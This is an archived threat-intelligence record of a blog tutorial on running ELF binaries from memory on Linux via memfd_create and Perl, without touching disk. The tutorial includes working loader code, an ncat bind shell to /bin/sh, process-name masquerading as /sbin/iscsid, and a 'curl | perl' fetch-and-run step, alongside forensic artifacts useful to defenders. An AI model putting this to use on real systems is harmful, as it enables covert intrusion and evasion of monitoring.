{
	"id": "774be5b9-6dee-4516-a2b7-38a3e592163f",
	"created_at": "2026-04-06T00:08:38.374218Z",
	"updated_at": "2026-04-10T03:20:31.007525Z",
	"deleted_at": null,
	"sha1_hash": "e83aa9a16dbe6cf24c956d2afd9d271d676a6cef",
	"title": "In-Memory-Only ELF Execution (Without tmpfs)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 283751,
	"plain_text": "In-Memory-Only ELF Execution (Without tmpfs)\r\nPublished: 2018-03-31 · Archived: 2026-04-05 14:39:15 UTC\r\n10 minute read\r\nIn which we run a normal ELF binary on Linux without touching the filesystem (except /proc ).\r\nIntroduction\r\nEvery so often, it’s handy to execute an ELF binary without touching disk. Normally, putting it somewhere under\r\n/run/user or something else backed by tmpfs works just fine, but, outside of disk forensics, that looks like a\r\nregular file operation. Wouldn’t it be cool to just grab a chunk of memory, put our binary in there, and run it\r\nwithout monkey-patching the kernel, rewriting execve(2) in userland, or loading a library into another process?\r\nEnter memfd_create(2) . This handy little system call is something like malloc(3) , but instead of returning a\r\npointer to a chunk of memory, it returns a file descriptor which refers to an anonymous (i.e. memory-only) file.\r\nThis is only visible in the filesystem as a symlink in /proc/\u003cPID\u003e/fd/ (e.g. /proc/10766/fd/3 ), which, as it\r\nturns out, execve(2) will happily use to execute an ELF binary.\r\nThe manpage has the following to say on the subject of naming anonymous files:\r\nThe name supplied in name [an argument to memfd_create(2) ] is used as a filename and will be\r\ndisplayed as the target of the corresponding symbolic link in the directory /proc/self/fd/ . The\r\ndisplayed name is always prefixed with memfd: and serves only for debugging purposes. Names do\r\nnot affect the behavior of the file descriptor, and as such multiple files can have the same name without\r\nany side effects.\r\nIn other words, we can give it a name (to which memfd: will be prepended), but what we call it doesn’t really do\r\nanything except help debugging (or forensicing). We can even give the anonymous file an empty name.\r\nListing /proc/\u003cPID\u003e/fd , anonymous files look like this:\r\nstuart@ubuntu-s-1vcpu-1gb-nyc1-01:~$ ls -l /proc/10766/fd\r\ntotal 0\r\nlrwx------ 1 stuart stuart 64 Mar 30 23:23 0 -\u003e /dev/pts/0\r\nlrwx------ 1 stuart stuart 64 Mar 30 23:23 1 -\u003e /dev/pts/0\r\nlrwx------ 1 stuart stuart 64 Mar 30 23:23 2 -\u003e /dev/pts/0\r\nlrwx------ 1 stuart stuart 64 Mar 30 23:23 3 -\u003e /memfd:kittens (deleted)\r\nlrwx------ 1 stuart stuart 64 Mar 30 23:23 4 -\u003e /memfd: (deleted)\r\nHere we see two anonymous files, one named kittens and one without a name at all. The (deleted) is\r\ninaccurate and looks a bit weird but c’est la vie.\r\nhttps://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html\r\nPage 1 of 7\n\nCaveats\r\nUnless we land on target with some way to call memfd_create(2) , from our initial vector (e.g. injection into a\r\nPerl or Python program with eval() ), we’ll need a way to execute system calls on target. We could drop a binary\r\nto do this, but then we’ve failed to acheive fileless ELF execution. Fortunately, Perl’s syscall() solves this\r\nproblem for us nicely.\r\nWe’ll also need a way to write an entire binary to the target’s memory as the contents of the anonymous file. For\r\nthis, we’ll put it in the source of the script we’ll write to do the injection, but in practice pulling it down over the\r\nnetwork is a viable alternative.\r\nAs for the binary itself, it has to be, well, a binary. Running scripts starting with #!/interpreter doesn’t seem to\r\nwork.\r\nThe last thing we need is a sufficiently new kernel. Anything version 3.17 (released 05 October 2014) or later will\r\nwork. We can find the target’s kernel version with uname -r .\r\nstuart@ubuntu-s-1vcpu-1gb-nyc1-01:~$ uname -r\r\n4.4.0-116-generic\r\nOn Target\r\nAside execve(2) ing an anonymous file instead of a regular filesystem file and doing it all in Perl, there isn’t\r\nmuch difference from starting any other program. Let’s have a look at the system calls we’ll use.\r\nmemfd_create(2)\r\nMuch like a memory-backed fd = open(name, O_CREAT|O_RDWR, 0700) , we’ll use the memfd_create(2) system\r\ncall to make our anonymous file. We’ll pass it the MFD_CLOEXEC flag (analogous to O_CLOEXEC ), so that the file\r\ndescriptor we get will be automatically closed when we execve(2) the ELF binary.\r\nBecause we’re using Perl’s syscall() to call the memfd_create(2) , we don’t have easy access to a user-friendly libc wrapper function or, for that matter, a nice human-readable MFD_CLOEXEC constant. Instead, we’ll\r\nneed to pass syscall() the raw system call number for memfd_create(2) and the numeric constant for\r\nMEMFD_CLOEXEC . Both of these are found in header files in /usr/include . System call numbers are stored in\r\n#define s starting with __NR_ .\r\nstuart@ubuntu-s-1vcpu-1gb-nyc1-01:/usr/include$ egrep -r '__NR_memfd_create|MFD_CLOEXEC' *\r\nasm-generic/unistd.h:#define __NR_memfd_create 279\r\nasm-generic/unistd.h:__SYSCALL(__NR_memfd_create, sys_memfd_create)\r\nlinux/memfd.h:#define MFD_CLOEXEC 0x0001U\r\nx86_64-linux-gnu/asm/unistd_64.h:#define __NR_memfd_create 319\r\nx86_64-linux-gnu/asm/unistd_32.h:#define __NR_memfd_create 356\r\nx86_64-linux-gnu/asm/unistd_x32.h:#define __NR_memfd_create (__X32_SYSCALL_BIT + 319)\r\nx86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create\r\nhttps://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html\r\nPage 2 of 7\n\nx86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create\r\nx86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create\r\nLooks like memfd_create(2) is system call number 319 on 64-bit Linux ( #define __NR_memfd_create in a file\r\nwith a name ending in _64.h ), and MFD_CLOEXEC is a consatnt 0x0001U (i.e. 1, in linux/memfd.h ). Now that\r\nwe’ve got the numbers we need, we’re almost ready to do the Perl equivalent of C’s fd = memfd_create(name,\r\nMFD_CLOEXEC) (or more specifically, fd = syscall(319, name, MFD_CLOEXEC) ).\r\nThe last thing we need is a name for our file. In a file listing, /memfd: is probably a bit better-looking than\r\n/memfd:kittens , so we’ll pass an empty string to memfd_create(2) via syscall() . Perl’s syscall() won’t\r\ntake string literals (due to passing a pointer under the hood), so we make a variable with the empty string and use\r\nit instead.\r\nPutting it together, let’s finally make our anonymous file:\r\nmy $name = \"\";\r\nmy $fd = syscall(319, $name, 1);\r\nif (-1 == $fd) {\r\n die \"memfd_create: $!\";\r\n}\r\nWe now have a file descriptor number in $fd . We can wrap that up in a Perl one-liner which lists its own file\r\ndescriptors after making the anonymous file:\r\nstuart@ubuntu-s-1vcpu-1gb-nyc1-01:~$ perl -e '$n=\"\";die$!if-1==syscall(319,$n,1);print`ls -l /proc/$$/fd`'\r\ntotal 0\r\nlrwx------ 1 stuart stuart 64 Mar 31 02:44 0 -\u003e /dev/pts/0\r\nlrwx------ 1 stuart stuart 64 Mar 31 02:44 1 -\u003e /dev/pts/0\r\nlrwx------ 1 stuart stuart 64 Mar 31 02:44 2 -\u003e /dev/pts/0\r\nlrwx------ 1 stuart stuart 64 Mar 31 02:44 3 -\u003e /memfd: (deleted)\r\nwrite(2)\r\nNow that we have an anonymous file, we need to fill it with ELF data. First we’ll need to get a Perl filehandle\r\nfrom a file descriptor, then we’ll need to get our data in a format that can be written, and finally, we’ll write it.\r\nPerl’s open() , which is normally used to open files, can also be used to turn an already-open file descriptor into\r\na file handle by specifying something like \u003e\u0026=X (where X is a file descriptor) instead of a file name. We’ll also\r\nwant to enable autoflush on the new file handle:\r\nopen(my $FH, '\u003e\u0026='.$fd) or die \"open: $!\";\r\nselect((select($FH), $|=1)[0]);\r\nWe now have a file handle which refers to our anonymous file.\r\nhttps://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html\r\nPage 3 of 7\n\nNext we need to make our binary available to Perl, so we can write it to the anonymous file. We’ll turn the binary\r\ninto a bunch of Perl print statements of which each write a chunk of our binary to the anonymous file.\r\nperl -e '$/=\\32;print\"print \\$FH pack q/H*/, q/\".(unpack\"H*\").\"/\\ or die qq/write: \\$!/;\\n\"while(\u003c\u003e)' ./elfbina\r\nThis will give us many, many lines similar to:\r\nprint $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/;\r\nprint $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/;\r\nprint $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/;\r\nExceuting those puts our ELF binary into memory. Time to run it.\r\nOptional: fork(2)\r\nOk, fork(2) is isn’t actually a system call; it’s really a libc function which does all sorts of stuff under the hood.\r\nPerl’s fork() is functionally identical to libc’s as far as process-making goes: once it’s called, there are now two\r\nnearly identical processes running (of which one, usually the child, often finds itself calling exec(2) ). We don’t\r\nactually have to spawn a new process to run our ELF binary, but if we want to do more than just run it and exit\r\n(say, run it multiple times), it’s the way to go. In general, using fork() to spawn multiple children looks\r\nsomething like:\r\nwhile ($keep_going) {\r\n my $pid = fork();\r\n if (-1 == $pid) { # Error\r\n die \"fork: $!\";\r\n }\r\n if (0 == $pid) { # Child\r\n # Do child things here\r\n exit 0;\r\n }\r\n}\r\nAnother handy use of fork() , especially when done twice with a call to setsid(2) in the middle, is to spawn a\r\ndisassociated child and let the parent terminate:\r\n# Spawn child\r\nmy $pid = fork();\r\nif (-1 == $pid) { # Error\r\n die \"fork1: $!\";\r\n}\r\nif (0 != $pid) { # Parent terminates\r\n exit 0;\r\n}\r\nhttps://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html\r\nPage 4 of 7\n\n# In the child, become session leader\r\nif (-1 == syscall(112)) {\r\n die \"setsid: $!\";\r\n}\r\n# Spawn grandchild\r\n$pid = fork();\r\nif (-1 == $pid) { # Error\r\n die \"fork2: $!\";\r\n}\r\nif (0 != $pid) { # Child terminates\r\n exit 0;\r\n}\r\n# In the grandchild here, do grandchild things\r\nWe can now have our ELF process run multiple times or in a separate process. Let’s do it.\r\nexecve(2)\r\nLinux process creation is a funny thing. Ever since the early days of Unix, process creation has been a\r\ncombination of not much more than duplicating a current process and swapping out the new clone’s program with\r\nwhat should be running, and on Linux it’s no different. The execve(2) system call does the second bit: it\r\nchanges one running program into another. Perl gives us exec() , which does more or less the same, albiet with\r\neasier syntax.\r\nWe pass to exec() two things: the file containing the program to execute (i.e. our in-memory ELF binary) and a\r\nlist of arguments, of which the first element is usually taken as the process name. Usually, the file and the process\r\nname are the same, but since it’d look bad to have /proc/\u003cPID\u003e/fd/3 in a process listing, we’ll name our process\r\nsomething else.\r\nThe syntax for calling exec() is a bit odd, and explained much better in the documentation. For now, we’ll take\r\nit on faith that the file is passed as a string in curly braces and there follows a comma-separated list of process\r\narguments. We can use the variable $$ to get the pid of our own Perl process. For the sake of clarity, the\r\nfollowing assumes we’ve put ncat in memory, but in practice, it’s better to use something which takes\r\narguments that don’t look like a backdoor.\r\nexec {\"/proc/$$/fd/$fd\"} \"kittens\", \"-kvl\", \"4444\", \"-e\", \"/bin/sh\" or die \"exec: $!\";\r\nThe new process won’t have the anonymous file open as a symlink in /proc/\u003cPID\u003e/fd , but the anonymous file\r\nwill be visible as the /proc/\u003cPID\u003e/exe symlink, which normally points to the file containing the program which\r\nis being executed by the process.\r\nWe’ve now got an ELF binary running without putting anything on disk or even in the filesystem.\r\nScripting it\r\nhttps://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html\r\nPage 5 of 7\n\nIt’s not likely we’ll have the luxury of being able to sit on target and do all of the above by hand. Instead, we’ll\r\npipe the script ( elfload.pl in the example below) via SSH to Perl’s stdin, and use a bit of shell trickery to keep\r\nperl with no arguments from showing up in the process list:\r\ncat ./elfload.pl | ssh user@target /bin/bash -c '\"exec -a /sbin/iscsid perl\"'\r\nThis will run Perl, renamed in the process list to /sbin/iscsid with no arguments. When not given a script or a\r\nbit of code with -e , Perl expects a script on stdin, so we send the script to perl stdin via our local SSH client.\r\nThe end result is our script is run without touching disk at all.\r\nWithout creds but with access to the target (i.e. after exploiting on), in most cases we can probably use the\r\ndevopsy curl http://server/elfload.pl | perl trick (or intercept someone doing the trick for us). As long as\r\nthe script makes it to Perl’s stdin and Perl gets an EOF when the script’s all read, it doesn’t particularly matter how\r\nit gets there.\r\nArtifacts\r\nOnce running, the only real difference between a program running from an anonymous file and a program running\r\nfrom a normal file is the /proc/\u003cPID\u003e/exe symlink.\r\nIf something’s monitoring system calls (e.g. someone’s running strace -f on sshd), the memfd_create(2) calls\r\nwill stick out, as will passing paths in /proc/\u003cPID\u003e/fd to execve(2) .\r\nOther than that, there’s very little evidence anything is wrong.\r\nDemo\r\nhttps://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html\r\nPage 6 of 7\n\nTo see this in action, have a look at this asciicast.\r\nTL;DR\r\nIn C (translate to your non-disk-touching language of choice):\r\n1. fd = memfd_create(\"\", MFD_CLOEXEC);\r\n2. write(fd, elfbuffer, elfbuffer_len);\r\n3. asprintf(p, \"/proc/self/fd/%i\", fd); execl(p, \"kittens\", \"arg1\", \"arg2\", NULL);\r\nUpdated 20170402 to link to https://0x00sec.org/t/super-stealthy-droppers/3715, from where I got\r\nexecve(\"/proc/\u003cPID\u003e/fd/\u003cFD\u003e...\r\nSource: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html\r\nhttps://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html\r\nPage 7 of 7",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html"
	],
	"report_names": [
		"in-memory-only-elf-execution.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775434118,
	"ts_updated_at": 1775791231,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/e83aa9a16dbe6cf24c956d2afd9d271d676a6cef.pdf",
		"text": "https://archive.orkl.eu/e83aa9a16dbe6cf24c956d2afd9d271d676a6cef.txt",
		"img": "https://archive.orkl.eu/e83aa9a16dbe6cf24c956d2afd9d271d676a6cef.jpg"
	}
}